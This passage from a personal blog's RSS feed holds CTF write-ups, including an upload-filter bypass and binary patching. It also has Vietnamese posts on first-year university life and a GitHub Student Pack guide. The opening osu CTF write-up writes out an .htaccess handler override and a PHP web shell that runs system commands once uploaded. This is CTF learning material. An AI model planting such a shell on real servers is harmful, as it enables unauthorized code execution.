&lt;p&gt;Here we create 2 files, &lt;code&gt;.htaccess&lt;/code&gt; and &lt;code&gt;phtml&lt;/code&gt;, &lt;code&gt;.htaccess&lt;/code&gt; will force &lt;code&gt;.phtml&lt;/code&gt; to be parsed as PHP file. While the file &lt;code&gt;.phtml&lt;/code&gt; we use the shorthand php notation &lt;code&gt;&amp;lt;?=&lt;/code&gt; to bypass &lt;code&gt;&amp;lt;?php&lt;/code&gt;!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# file .htaccess
echo &apos;AddHandler application/x-httpd-php .phtml&apos; &amp;gt; .htaccess

# file shell2.phtml
echo &apos;&amp;lt;?=system(&quot;cat /flag || cat /flag.txt || cat /root/flag || cat /home/ctf/flag&quot;);?&amp;gt;&apos; &amp;gt; shell2.phtml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Upload 2 files to server then access &lt;code&gt;/uploads/shell2.phtml&lt;/code&gt; to get the flag!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;osu{php_is_too_3asy}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Rhythm / Pulsus&lt;/h2&gt;
&lt;p&gt;I think this is a web challenge, not rhythm stuff bruh?&lt;/p&gt;
&lt;p&gt;I was simply turn on my burp suite, access to &lt;a href=&quot;https://pulsus.cc/play/&quot;&gt;Pulsus&lt;/a&gt; and find the Quintecc account because the challenge description told so?&lt;/p&gt;
&lt;p&gt;While I found &lt;code&gt;Quintec#452&lt;/code&gt; account, it take a while to figure it out it was in Websocket.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./osugaming-rhythm-pulsus.png&quot; alt=&quot;burp suite&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;osu{pl4y_pul5u5_e6234bd516f}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>Phần 4 - Hành trình học tập trong năm 1</title><link>https://fuwari.vercel.app/posts/after-first-year-series/part-4-my-journey-in-first-year-computer-science/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/after-first-year-series/part-4-my-journey-in-first-year-computer-science/</guid><description>Chỉ nói về học tập, mấy thứ khác nói ở bài khác</description><pubDate>Wed, 03 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bài này chỉ nói về các môn học và đánh giá nó!&lt;/p&gt;
&lt;h2&gt;Lớp tiếng đức chết tiệt&lt;/h2&gt;
&lt;p&gt;Welp, lúc đầu mới vào thì mình khá là tự tin, cầm cuốn vở ra note liên tục buổi học đầu tiên. Đến buổi thứ 2 cũng có tâm trạng tuyệt vời đó. Xong thi German 1 xong thì được lmao 8đ.&lt;/p&gt;
&lt;p&gt;Sang đến German 2 thì ôn thêm speaking, bằng cách nào đó mình lại bị mất động lực và tụt dốc không phanh xuống còn 6.4đ, mặc dù đã rất cố gắng phần speaking nhưng mà quá tệ.&lt;/p&gt;
&lt;p&gt;Đến German 3 thì không có thi speaking nhưng mà mình vẫn bị học lửng lửng, suýt thì rớt German 3 với điểm 5.1đ&lt;/p&gt;
&lt;p&gt;Về đến hè thì ta có lớp German 4, học online 5 buổi một tuần nên rush nhanh vcl. Mới đấy đã 1 tháng trôi qua và sắp phải thi German 4 đầu tháng 9.&lt;/p&gt;
&lt;p&gt;Học thầy Beck là auto chấp nửa môn&lt;/p&gt;
&lt;h2&gt;Các môn Academic English&lt;/h2&gt;
&lt;h3&gt;Presentation Skill&lt;/h3&gt;
&lt;p&gt;Môn hay nhưng ông thầy chấm điểm như c. Kiểu trong lúc dạy ổng nói rất là hào hùng, xong đến gần thi thì ổng bảo mấy đứa sắp tới có form đánh giá thì hãy đánh giá thầy cao nha, thầy dạy các em để sau này các em biết mình cần phải làm gì cho thuyết trình. Thế mà ổng vẫn chấm điểm cả lớp thấp vcl. Mọe thg cao nhất lớp có 8.8đ&lt;/p&gt;
&lt;h3&gt;Writing&lt;/h3&gt;
&lt;p&gt;Welp, ngồi viết luận, report về một chủ đề nào đó solo 1000 từ. Yêu cầu là theo format APA và citie đầy đủ các nguồn, không được đạo nhái hay đạo văn.&lt;/p&gt;
&lt;p&gt;Gặp được ông Michael dễ thương chấm điểm dễ vãi nên ai cũng 9+.&lt;/p&gt;
&lt;h3&gt;Note-taking&lt;/h3&gt;
&lt;p&gt;Ông thầy môn này hay... chửi mọi người. Ổng nói chuyện hài vcl, chính trị cũng nói. Bị cái là vô lớp bị cấm mở lap hay điện thoại nên ai cũng lmao.&lt;/p&gt;
&lt;p&gt;Cái hài là bên FY nó cho quả đề ? vcl, dễ đến mức mà lúc thi phải có người lên tiếng, xong vô moodle nhập đáp án thì cho quả đề khó hiểu vcl.&lt;/p&gt;
&lt;h3&gt;Leadership&lt;/h3&gt;
&lt;p&gt;Dạy chỉ toàn lý thuyết, lên thuyết trình liên tục ảo vcl. Xong bài cuối khóa là bài luận đi phỏng vấn thầy phó hiệu trưởng :))))&lt;/p&gt;
&lt;h2&gt;English for Engineering&lt;/h2&gt;
&lt;p&gt;Chả có gì cả, ngồi học tiếng anh ielts 2.0&lt;/p&gt;
&lt;h2&gt;Intro to Programming&lt;/h2&gt;
&lt;p&gt;Thầy dạy hay, vui vẻ, dạy chủ yếu là python với data somehow.&lt;/p&gt;
&lt;p&gt;Trong năm này thì hài ở chỗ group 1 có thầy Huy siêu chill dạy tâm huyết, trong khi group 2 thì bóc trúng thầy Minh mà dạy bị lmao nên nhiều đứa bên group 2 qua group 1 học.&lt;/p&gt;
&lt;p&gt;Thế mà lúc thi thầy Huy cho đề khó vcl, còn thầy Minh cho đề dễ, xong 2 ông swap đề cho nhau gây náo loạn cả ngành :)))).&lt;/p&gt;
&lt;h2&gt;Explore CS&lt;/h2&gt;
&lt;p&gt;Thầy Tuấn Anh dạy C++ và thuật toán tìm kiếm và chỉ có nhiêu đó. Dạy vẫn có tâm huyết nhưng khô khan&lt;/p&gt;
&lt;h2&gt;Multi-disciplinary Project&lt;/h2&gt;
&lt;p&gt;Làm project IoT, dùng Arduino với dữ liệu phải live, nhưng đây là project với cái backstory to đùng nhất. Hận ông Tuấn Anh vcl&lt;/p&gt;
&lt;h2&gt;Business Administration&lt;/h2&gt;
&lt;p&gt;WTF, BBA trái hình, may là năm nay đổi người dạy nên ít ai rớt.&lt;/p&gt;
&lt;h2&gt;Applied Math for CS&lt;/h2&gt;
&lt;p&gt;Welp, môn này mình vừa có nhiều kỉ niệm vui và một cái sốc nhất năm 1 mình. Sẽ kể sau&lt;/p&gt;
&lt;h2&gt;Information Technology&lt;/h2&gt;
&lt;p&gt;Tiếp tục là môn project, nhưng thầy Bảo này vui vãi, dạy đến từng học sinh chỉ dẫn. Yêu cầu của project này là ứng dụng AI vào project, có thể là web hoặc mobile, thích thì làm luôn IoT.&lt;/p&gt;
</content:encoded></item><item><title>Phần 3 - Đến với KTX VGU</title><link>https://fuwari.vercel.app/posts/after-first-year-series/part-3-into-vgu/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/after-first-year-series/part-3-into-vgu/</guid><description>Ký túc xá và bạn bè</description><pubDate>Tue, 26 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sau &lt;a href=&quot;https://callmeqan.github.io/posts/after-first-year-series/part-1-mua-thi-2024/&quot;&gt;một thời cấp 3&lt;/a&gt; đầy sóng gió và buổi trại hè &lt;a href=&quot;https://callmeqan.github.io/posts/after-first-year-series/part-2-uit-bootcamp-2024/&quot;&gt;UIT Bootcamp 2024&lt;/a&gt; thì mình đã tới lúc vào đại học. Xác nhận thông tin trên bộ sau đó đi soạn đồ để lên Ký Túc Xá (KTX)&lt;/p&gt;
&lt;h2&gt;Đăng ký KTX&lt;/h2&gt;
&lt;p&gt;Bên KTX mở đơn đăng ký phòng từ 27/7 đến 4/8. Nhìn vào hình ảnh của google form thì thấy khá là được, đên khi nhận phòng thì đúng thật nó giống vậy, chỉ là dơ hơn thôi :))))&lt;/p&gt;
&lt;p&gt;Cái hài ở chỗ là mình điền thông tin kèm là &lt;em&gt;ưu tiên phòng hướng về Nam, Bắc hoặc Đông&lt;/em&gt; và kiểu phòng:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./google-forms-ktx.png&quot; alt=&quot;google forms ktx&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thế mà lúc nhận phòng thì bên KTX cho cái phòng dell có máy lạnh với hướng Tây. Lúc đó mẹ mình đi chung cay quá trời :)))))&lt;/p&gt;
&lt;p&gt;Hôm 16/08 thì mình nhận được email thông tin phòng mình sắp tới là 550 Tầng 5, KTX 1 (Cam) với bạn cùng phòng sắp tới là Nguyễn Thanh Huy. Cùng với mail đó là link điền thông tin xác nhận và chọn ngày chuyển vào là 28/8, ngoài ra trong cái google form còn 2 ngày welcome new intake24 là 7/9 và 8/9.&lt;/p&gt;
&lt;h2&gt;Ryan Nguyễn và Minhkeke&lt;/h2&gt;
&lt;p&gt;Hồi đó trước khi nhập học thì trường mình có &lt;a href=&quot;https://www.facebook.com/groups/vgufreshmen&quot;&gt;group facebook&lt;/a&gt;, trong đó có chat cộng đồng, mà hồi đó sôi nổi lắm, trước khi nhập học mà mỗi ngày 300-400 tin nhắn, chủ yếu là làm quen với chơi game.&lt;/p&gt;
&lt;p&gt;Đặc biệt là có Bộ trưởng Bộ Ngoại Giao năm 1 &lt;a href=&quot;https://www.facebook.com/ryancpp/&quot;&gt;Ryan Nguyễn&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Thg này nó ngày nào cũng đi spam tin nhắn, nhắn tin đủ thứ xong qua ngành khác cũng chat chit, rồi làm quen thêm bộ trưởng ngoại giao khác &lt;a href=&quot;https://www.facebook.com/lucas.nguynnn&quot;&gt;Đạt&lt;/a&gt;. Xong hai đứa về chung phòng KTX luôn :))))))))&lt;/p&gt;
&lt;p&gt;Xong lòi ra thêm ông &lt;a href=&quot;https://www.facebook.com/minh.eisenhower&quot;&gt;Minhkeke&lt;/a&gt; chuyên đi phân biệt vùng miền nên 2 ông thân ngoại giao của năm nhất CSE này mà cả mấy anh chị năm 2, 3 biết hết.&lt;/p&gt;
&lt;p&gt;Đến lúc gần nhận phòng là lòi ra group CSE Đa thế hệ (đặt là vậy thôi chứ toàn năm 1)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cse-da-the-he.png&quot; alt=&quot;cse đa thế hệ&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Nhận phòng&lt;/h2&gt;
&lt;p&gt;Ngày 28/8 mình đi rất sớm từ 5h30 cùng với ba mình và một đống đồ. Mặc dù lên đi rất sớm nhưng vô đó làm quy trình rất lâu và dài, ngồi ký 4 cái tờ giấy và chờ chìa khóa phòng.&lt;/p&gt;
&lt;p&gt;Ba mình thấy lâu quá nên cho mình ở lại và đi làm trước, mình thì ở lại lấy phòng và ở chơi đến chiều tối.&lt;/p&gt;
&lt;p&gt;Lúc đó điền giấy xong thì mình được dẫn lên phòng 550, mở phòng kiểm tra tình trạng phòng rồi kí tên xác nhận bàn giao chìa khóa phòng. Nằm ngồi loay hoay chút thì xong, chán quá nhắn tin lên group hỏi có ai đang ở trường không. Thế thì có anh trai Ngọc Minh (béo), phòng ngay dưới đít luôn gặp nhau lần đầu tiên.&lt;/p&gt;
&lt;h2&gt;Thư viện và bida&lt;/h2&gt;
&lt;p&gt;Lúc đó mình với Minh đi vòng vòng quanh trường từ ktx cam đến căn tin rồi qua thư viện. Thư viện mà nó to với đẹp vãi!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./library-1.jpg&quot; alt=&quot;library view&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Bị cái là ít sách, toàn sách cổ không, nhưng là có bộ sách &lt;a href=&quot;https://en.wikipedia.org/wiki/The_Art_of_Computer_Programming&quot;&gt;The Art of Computer Programming&lt;/a&gt; tuyệt vời của ông Donald Knuth nên bù lại cũng được (hình như ít ai đọc). Ngoài ra thì tầng 3 có nguyên khu thesis của các anh chị năm trước đi ra nên lấy nó ra đọc cũng vui&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./library-2.jpg&quot; alt=&quot;library view with work&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ngoài ra mình được nghe nói là phía sau lưng trường có quán bida, tra bản đồ thì có &lt;em&gt;&quot;Câu lạc bộ Bida Giang Đen&quot;&lt;/em&gt;. Cho đến khi mình với thg Minh đi ra sau trường và kiếm nó, lẽ ra là đell phải, quán đó là quán cũ vcl, hợp nhất với &lt;em&gt;&quot;Cafe bất động sản Mai Giang rồi&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./google-maps-bida.png&quot; alt=&quot;google map&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đcm đi bộ dài vcl, đi một vòng xuống Giang đen xong ngược lên N1 để đến Mai Giang. Lúc đến thì trời chiều rồi nên mình với Minh đi về lại ktx, trên đường về thì gặp thg Phúc, cũng làm quen trước qua group mes kia, xong rồi nói chuyện một hồi mới biết 3 thg sẽ học chung lớp tiếng đức, ảo vcl.&lt;/p&gt;
</content:encoded></item><item><title>Why2025 CTF - Lazy Code 1 and 2 Writeups</title><link>https://fuwari.vercel.app/posts/whyctf2025-writeups/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/whyctf2025-writeups/</guid><description>I did alot in this but only write 2 writeups about rev</description><pubDate>Mon, 11 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Lazy Code 1.0&lt;/h2&gt;
&lt;p&gt;This chall give us a &lt;code&gt;lazy-code-1.exe&lt;/code&gt; file, so I straight up open dotPeek from Jetbrains to see it inside. Turn out there is nothing here and dotPeek unable to decompile this.&lt;/p&gt;
&lt;p&gt;So I open the Ghidra to see inside, right at main:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int _Argc,char **_Argv,char **_Env)
{
  uint local_c;
  __main();
  for (local_c = 1; (int)local_c &amp;lt; 0x3e9; local_c = local_c + 1) {
    printf(&quot;[+] Decrypting step %d/1000....\n&quot;,(ulonglong)local_c);
    xor_string(0x140003000,
               (byte)*(undefined4 *)
                      (&amp;amp;xors + (longlong)
                               (int)(local_c +
                                    (int)((ulonglong)(longlong)(int)local_c / 0x1b) * -0x1b) * 4) );
    printf(&quot;[!] Yawn.... I\&apos;m tired... sleeping for %d seconds\n&quot;,(ulonglong)sleeping_time);
    sleep(sleeping_time);
  }
  printf(&quot;Pfff... I\&apos;m done, here is your flag: %s\n&quot;,&amp;amp;DAT_140003000);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Analyzing this we find it slow down by &lt;code&gt;sleep(sleeping_time)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;So the direction here is to skip the function &lt;code&gt;sleep&lt;/code&gt;!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I did some Google search and came by a tool name &lt;a href=&quot;https://x64dbg.com/&quot;&gt;x64dgb&lt;/a&gt;. This tool supports Windows debugging and disassembling! I put the file into this, scrolled entire page alot until I found the code:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./lazy-code-1-1.png&quot; alt=&quot;Source code in x64dbg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At first I didn&apos;t know anything and don&apos;t know how to read this so I assume that &lt;code&gt;call lazy-code-1.7FF7A46F2700&lt;/code&gt; is &lt;code&gt;printf&lt;/code&gt; and I was right.&lt;/p&gt;
&lt;p&gt;Then the function right after &lt;code&gt;printf(&quot;[!] Yawn...&quot;)&lt;/code&gt; must the sleep function!&lt;/p&gt;
&lt;p&gt;And so I edit the instruction of that with &lt;code&gt;nop&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./lazy-code-1-2.png&quot; alt=&quot;Set to NOP&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Oh, remember to set a breakpoint at almost the end of main function, right before &lt;code&gt;ret&lt;/code&gt;! Then run!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./lazy-code-1-3.png&quot; alt=&quot;Finished&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;flag{c960f55554871feedd7c33a20fb73919}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Lazy Code 2.0&lt;/h2&gt;
&lt;p&gt;:::tip
The second version is easier than the first one if you are more familiar with Linux Reversing than Windows Reversing.
:::&lt;/p&gt;
&lt;p&gt;Just put the &lt;code&gt;lazy-code-2&lt;/code&gt; in Linux or WSL like me, then run &lt;code&gt;gdb ./lazy-code-2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Add a breakpoint at main by &lt;code&gt;break main&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Type &lt;code&gt;run&lt;/code&gt; and it will stop at entry of main&lt;/p&gt;
&lt;p&gt;To disassembles the main function, run &lt;code&gt;disass&lt;/code&gt;, press Enter till you found the sleep function:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./lazy-code-2-1.png&quot; alt=&quot;Disassembles the main function&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we found this address &lt;code&gt;0x000055555555526b&lt;/code&gt; is calling sleep function. So we set this to NOP to skip these:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) set {unsigned char} 0x55555555526b = 0x90
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then type &lt;code&gt;continue&lt;/code&gt; and you get the flag!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;flag{b3fda416daebdef7a5d79deb07c43375}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>Phần 2 - Trại hè UIT Bootcamp 2024</title><link>https://fuwari.vercel.app/posts/after-first-year-series/part-2-uit-bootcamp-2024/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/after-first-year-series/part-2-uit-bootcamp-2024/</guid><description>Tham quan UIT và nhiều bạn bè hơn</description><pubDate>Tue, 05 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Có nhiều thứ để nói nhưng mà phải từ từ đã.&lt;/p&gt;
</content:encoded></item><item><title>Có email sinh viên rồi làm gì nữa?</title><link>https://fuwari.vercel.app/posts/coding-tip-and-trick-series/how-to-use-github-student/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/coding-tip-and-trick-series/how-to-use-github-student/</guid><description>Đăng ký github student pack đi!</description><pubDate>Tue, 05 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Với việc bạn đã bước vào năm nhất đại học, đặc biệt là các bạn ngành IT nói chung, gói &lt;a href=&quot;https://education.github.com/pack&quot;&gt;Github Student Developer Pack&lt;/a&gt; sẽ hỗ trợ các bạn rất mạnh trong 4 năm sắp tới. Mình thời điểm viết bài blog này đã qua năm nhất đại học và mình sẽ giới thiệu cho các bạn về gói này và cách sử dụng hiệu quả nhất!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./my_student_pack_prove.png&quot; alt=&quot;CallMeQan&apos;s Student Pack Approve&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Thông tin chung&lt;/h2&gt;
&lt;p&gt;Gói &lt;a href=&quot;https://education.github.com/pack&quot;&gt;Github Student Developer Pack&lt;/a&gt; được lần đầu giới thiệu vào tháng 8 năm 2014, theo như copilot trả lời.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./github_history_by_copilot_1.png&quot; alt=&quot;copilot trả lời&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Trong nhiều năm nay, Github đã liên tục cập nhật thêm nhiều nhà tài trợ mới, nhiều công cụ và tài liệu mới và hay cho các bạn sinh viên. Nổi bật nhất kể đến là JetBrains, Namecheap (đăng ký tên miền) hay mới nhất là truy cập vào Github Copilot hoàn toàn miễn phí với các model mạnh như GPT-4.1, Gemini 2.5 Pro, Claude 3.5-Pro.&lt;/p&gt;
&lt;p&gt;Để đăng ký thành công gói này thì bạn cần:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hình chụp thẻ &lt;strong&gt;sinh viên&lt;/strong&gt; (&lt;em&gt;lưu ý là thẻ học sinh có thể không được&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Cập nhật profile Github thông qua &lt;a href=&quot;https://github.com/settings/profile&quot;&gt;Github Settings&lt;/a&gt;, bao gồm: Tên thật, Ngày-tháng-năm sinh, Ảnh profile (&lt;em&gt;không được để ảnh mặc định?&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sau đó chờ khoảng 1-2 tuần là có kết quả, mình từng bị từ chối 3 lần liên tục do thông tin không trùng khớp.&lt;/p&gt;
&lt;h2&gt;Review các ưu đãi bên trong&lt;/h2&gt;
&lt;h3&gt;Developer Tools (vdu như IDE, Application, Platform,...)&lt;/h3&gt;
&lt;p&gt;Mấy cái hay ho như:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Free &lt;strong&gt;Github Pro&lt;/strong&gt;, cái này rất lời nha, cho Pro tận 4 năm nên tận dụng nó thật kĩ vào.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::caution
Lưu ý, đây chỉ là Github Pro &lt;strong&gt;for Personal&lt;/strong&gt; thôi nha, nếu bạn có một team mà tạo organization thì nó không có bản Team hay Enterpise đâu.
:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Tất cả sản phẩm của &lt;strong&gt;JetBrains&lt;/strong&gt;, bạn sẽ phải dùng nó khi học đến mấy môn như code app android, ios hay IoT. Dùng sản phẩm của công ty này rất nghiện nha, nó automate hết mọi thứ, setup project hoàn chỉnh mà không cần phải lo đến vấn đề bất đồng phiên bản hay debug không được.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Github Page&lt;/strong&gt;, free 1 trang, có thể host từ repo của bạn hoặc của organization. Như trang web blog này của mình&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;::github{repo=&quot;CallMeQan/CallMeQan.github.io&quot;}&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;GitLens&lt;/strong&gt;, cái này mình chưa dùng bao giờ nhưng được mọi người khen nó rất nhiều.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Termius&lt;/strong&gt;, SSH Client, điều khiển máy ảo, máy chủ hoặc chiếc laptop từ xa (nếu bạn giàu).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Travis CI&lt;/strong&gt;, DevOps tool.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Còn nhiều nữa mà toàn mấy công cụ lạ mình chưa dùng tới.&lt;/p&gt;
&lt;h3&gt;Cloud&lt;/h3&gt;
&lt;p&gt;Có 3 thg dùng nhiều nhất là &lt;a href=&quot;heroku.com&quot;&gt;Heroku&lt;/a&gt;, &lt;a href=&quot;https://azure.microsoft.com/&quot;&gt;Microsoft Azure&lt;/a&gt; với &lt;a href=&quot;https://www.digitalocean.com/&quot;&gt;DigitOcean&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Mình mới dùng Heroku thôi, Azure thì bằng cách thần kì nào đó nó bảo vùng VN mình không hợp lệ nên mình đăng ký quài không được.&lt;/p&gt;
&lt;h3&gt;Design&lt;/h3&gt;
&lt;p&gt;Có &lt;a href=&quot;https://bootstrapstudio.io/&quot;&gt;Bootstrap Studio&lt;/a&gt; nhìn có vẻ hay nhưng mình chưa thử, phần còn lại thì không biết vì mình không phải dân frontend hay designer.&lt;/p&gt;
&lt;p&gt;Bên ngoài Github Student Developer Pack thì mình có &lt;a href=&quot;https://www.figma.com/education/&quot;&gt;Figma For Education&lt;/a&gt; nhưng mà quy trình đăng ký nhanh với gọn hơn.&lt;/p&gt;
&lt;h3&gt;Domain (Quan trọng nè)&lt;/h3&gt;
&lt;p&gt;Mình được tặng 3 dịch vụ gồm &lt;a href=&quot;https://www.namecheap.com/&quot;&gt;Namecheap&lt;/a&gt;, &lt;a href=&quot;https://www.name.com/&quot;&gt;Name.com&lt;/a&gt; và &lt;a href=&quot;https://get.tech/&quot;&gt;.Tech&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Mỗi cái được tặng 1 năm dùng nên dùng từng cái thôi, tất nhiên là tụi nó không cho mình tên miền &lt;code&gt;.com&lt;/code&gt;, &lt;code&gt;.net&lt;/code&gt; với &lt;code&gt;.org&lt;/code&gt; vì đó là tên miền cao cấp.&lt;/p&gt;
&lt;h3&gt;Infrastructure &amp;amp; APIs and IoT&lt;/h3&gt;
&lt;p&gt;Internet of Things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.arduino.cc/education/github-students&quot;&gt;Arduino Cloud&lt;/a&gt; 6 tháng và giảm giá các sản phẩm IoT.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.adafruit.com/github-students&quot;&gt;AdaFruit IO+&lt;/a&gt; 1 năm và giảm giá các sản phẩm IoT.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Infrastructure &amp;amp; APIs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mongodb.com/students&quot;&gt;MongoDB&lt;/a&gt;, $50 in MongoDB Atlas Credits, MongoDB Compass and MongoDB University including free certification valued at $150.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stripe.com/&quot;&gt;Stripe&lt;/a&gt;, API giống như PayPal vậy đó, nhưng mình được dùng miễn phí.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cryptolens.io/&quot;&gt;CryptoLens&lt;/a&gt;, đóng gói sản phẩm và đăng ký bản quyền + đem bán nó hợp pháp????&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Và còn nữa...&lt;/p&gt;
&lt;h3&gt;Learning&lt;/h3&gt;
&lt;p&gt;:::caution
Lưu ý, mình đánh giá dưới góc nhìn của người học code từ cấp 2 tới giờ và code rất nhiều mảng khác nhau nha. Hơi bias nhưng không sao.
:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.educative.io/&quot;&gt;Educative&lt;/a&gt;, tặng mấy khóa học chủ yếu về web, có khóa python, java cơ bản, còn lại như shiet&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.datacamp.com/&quot;&gt;DataCamp&lt;/a&gt;, dành riêng cho các bạn học AI/ML, Data Engineer, Analyist, Scientist...&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.codedex.io/&quot;&gt;Codedex&lt;/a&gt;, web trẻ con, vẫn là mảng web development.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://scrimba.com/home&quot;&gt;Scrimba&lt;/a&gt;, chỉ có frontend, pass...&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://frontendmasters.com/&quot;&gt;FrontendMasters&lt;/a&gt;, welp, tiếp tục là web development.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://visualstudio.microsoft.com/dev-essentials/&quot;&gt;Microsoft Visual Studio Dev Essentials&lt;/a&gt;, này bao gồm các tool hỗ trợ việc học, khá hay khi mà nó có các khóa cloud miễn phí.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.algoexpert.io/&quot;&gt;AlgoExpert&lt;/a&gt;, Leetcode trái hình nhưng có hỗ trợ học cấc thuât toán.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gorails.com/&quot;&gt;GoRails&lt;/a&gt;, Ruby On Rail!!!!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chegg.com/skills/&quot;&gt;Thinkful (chegg)&lt;/a&gt;, này hơi sú vì trang web đổi chủ rồi.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://symfonycasts.com/&quot;&gt;SymfonyCasts&lt;/a&gt;, 2025 rồi, Php chết rồi :))&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.interviewcake.com/&quot;&gt;InterviewCake&lt;/a&gt;, Leetcode trái hình nhưng nó thêm câu hỏi ngoài về cá tính?&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Phần lớn ở đây mình không đụng tới, mới thử Datacamp, Educative với Microsoft thôi.&lt;/p&gt;
&lt;p&gt;Mình khuyên các bạn có thể học miễn phí thông qua Youtube, Reddit hay StackOverFlow. Vấn đề hiện nay của giới trẻ là không biết đọc Document của tool mình đang dùng, toàn là AI làm giùm đâm ra mỗi lần không có AI là như người dưng không làm.&lt;/p&gt;
&lt;h3&gt;Productivity&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.notion.so/githubstudentpack&quot;&gt;Notion Plus&lt;/a&gt;, welp, biết dùng thì rất hiệu quả vãi.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.slidecoach.ai/en&quot;&gt;SlideCoach&lt;/a&gt;, soạn slide thuyết trình??? Lên tận 40 slides???&lt;/li&gt;
